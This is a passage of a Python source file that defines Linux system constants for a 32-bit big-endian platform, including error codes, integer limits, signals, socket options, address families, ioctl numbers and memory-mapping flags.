Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',4321) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',4321) __WORDSIZE = Constant('__WORDSIZE',32) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647))) INTPTR_MAX = Constant('INTPTR_MAX',(2147483647)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGRTMIN = Constant('SIGRTMIN',32) SIGRTMAX = Constant('SIGRTMAX',(65-1)) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002) SA_SIGINFO = Constant('SA_SIGINFO',0x00000004) SA_RESTORER = Constant('SA_RESTORER',0x04000000) SA_ONSTACK = Constant('SA_ONSTACK',0x08000000) SA_RESTART = Constant('SA_RESTART',0x10000000) SA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000) SA_NODEFER = Constant('SA_NODEFER',0x40000000) SA_RESETHAND = Constant('SA_RESETHAND',0x80000000) SA_NOMASK = Constant('SA_NOMASK',0x40000000) SA_ONESHOT = Constant('SA_ONESHOT',0x80000000) SS_ONSTACK = Constant('SS_ONSTACK',1) SS_DISABLE = Constant('SS_DISABLE',2) MINSIGSTKSZ = Constant('MINSIGSTKSZ',2048) SIGSTKSZ = Constant('SIGSTKSZ',8192) SIG_BLOCK = Constant('SIG_BLOCK',0) SIG_UNBLOCK = Constant('SIG_UNBLOCK',1) SIG_SETMASK = Constant('SIG_SETMASK',2) SI_MAX_SIZE = Constant('SI_MAX_SIZE',128) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0) SIGEV_NONE = Constant('SIGEV_NONE',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) SIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64) _SYS_TIME_H = Constant('_SYS_TIME_H',1) ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) FD_SETSIZE = Constant('FD_SETSIZE',1024) R_OK = Constant('R_OK',4) W_OK = Constant('W_OK',2) X_OK = Constant('X_OK',1) F_OK = Constant('F_OK',0) SEEK_SET = Constant('SEEK_SET',0) SEEK_CUR = Constant('SEEK_CUR',1) SEEK_END = Constant('SEEK_END',2) STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) _CS_PATH = Constant('_CS_PATH',1) _SC_CLK_TCK = Constant('_SC_CLK_TCK',1) _SC_ARG_MAX = Constant('_SC_ARG_MAX',2) _SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3) _SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4) _SC_PAGESIZE = Constant('_SC_PAGESIZE',5) _SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6) _SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6) _SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7) _SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8) _SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9) _PC_PATH_MAX = Constant('_PC_PATH_MAX',1) _PC_VDISABLE = Constant('_PC_VDISABLE',2) L_cuserid = Constant('L_cuserid',17) _POSIX_VERSION = Constant('_POSIX_VERSION',199506) F_ULOCK = Constant('F_ULOCK',0) F_LOCK = Constant('F_LOCK',1) F_TLOCK = Constant('F_TLOCK',2) F_TEST = Constant('F_TEST',3) _POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809) S_IFMT = Constant('S_IFMT',0o0170000) S_IFSOCK = Constant('S_IFSOCK',0o140000) S_IFLNK = Constant('S_IFLNK',0o120000) S_IFREG = Constant('S_IFREG',0o100000) S_IFBLK = Constant('S_IFBLK',0o060000) S_IFDIR = Constant('S_IFDIR',0o040000) S_IFCHR = Constant('S_IFCHR',0o020000) S_IFIFO = Constant('S_IFIFO',0o010000) S_ISUID = Constant('S_ISUID',0o004000) S_ISGID = Constant('S_ISGID',0o002000) S_ISVTX = Constant('S_ISVTX',0o001000) S_IRWXU = Constant('S_IRWXU',0o0700) S_IRUSR = Constant('S_IRUSR',0o0400) S_IWUSR = Constant('S_IWUSR',0o0200) S_IXUSR = Constant('S_IXUSR',0o0100) S_IRWXG = Constant('S_IRWXG',0o0070) S_IRGRP = Constant('S_IRGRP',0o0040) S_IWGRP = Constant('S_IWGRP',0o0020) S_IXGRP = Constant('S_IXGRP',0o0010) S_IRWXO = Constant('S_IRWXO',0o0007) S_IROTH = Constant('S_IROTH',0o0004) S_IWOTH = Constant('S_IWOTH',0o0002) S_IXOTH = Constant('S_IXOTH',0o0001) S_IREAD = Constant('S_IREAD',0o0400) S_IWRITE = Constant('S_IWRITE',0o0200) S_IEXEC = Constant('S_IEXEC',0o0100) _SYS_UIO = Constant('_SYS_UIO',1) SOL_SOCKET = Constant('SOL_SOCKET',1) SO_DEBUG = Constant('SO_DEBUG',1) SO_REUSEADDR = Constant('SO_REUSEADDR',2) SO_TYPE = Constant('SO_TYPE',3) SO_ERROR = Constant('SO_ERROR',4) SO_DONTROUTE = Constant('SO_DONTROUTE',5) SO_BROADCAST = Constant('SO_BROADCAST',6) SO_SNDBUF = Constant('SO_SNDBUF',7) SO_RCVBUF = Constant('SO_RCVBUF',8) SO_KEEPALIVE = Constant('SO_KEEPALIVE',9) SO_OOBINLINE = Constant('SO_OOBINLINE',10) SO_NO_CHECK = Constant('SO_NO_CHECK',11) SO_PRIORITY = Constant('SO_PRIORITY',12) SO_LINGER = Constant('SO_LINGER',13) SO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14) SO_REUSEPORT = Constant('SO_REUSEPORT',15) SO_PASSCRED = Constant('SO_PASSCRED',16) SO_PEERCRED = Constant('SO_PEERCRED',17) SO_RCVLOWAT = Constant('SO_RCVLOWAT',18) SO_SNDLOWAT = Constant('SO_SNDLOWAT',19) SO_RCVTIMEO = Constant('SO_RCVTIMEO',20) SO_SNDTIMEO = Constant('SO_SNDTIMEO',21) SO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22) SO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23) SO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25) SO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26) SO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27) SO_GET_FILTER = Constant('SO_GET_FILTER',26) SO_PEERNAME = Constant('SO_PEERNAME',28) SO_TIMESTAMP = Constant('SO_TIMESTAMP',29) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30) SO_PEERSEC = Constant('SO_PEERSEC',31) SO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32) SO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33) SO_PASSSEC = Constant('SO_PASSSEC',34) SO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35) SCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35) SO_MARK = Constant('SO_MARK',36) SO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37) SCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37) SO_PROTOCOL = Constant('SO_PROTOCOL',38) SO_DOMAIN = Constant('SO_DOMAIN',39) SO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40) SO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41) SCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41) SO_PEEK_OFF = Constant('SO_PEEK_OFF',42) SO_NOFCS = Constant('SO_NOFCS',43) SO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44) SO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) 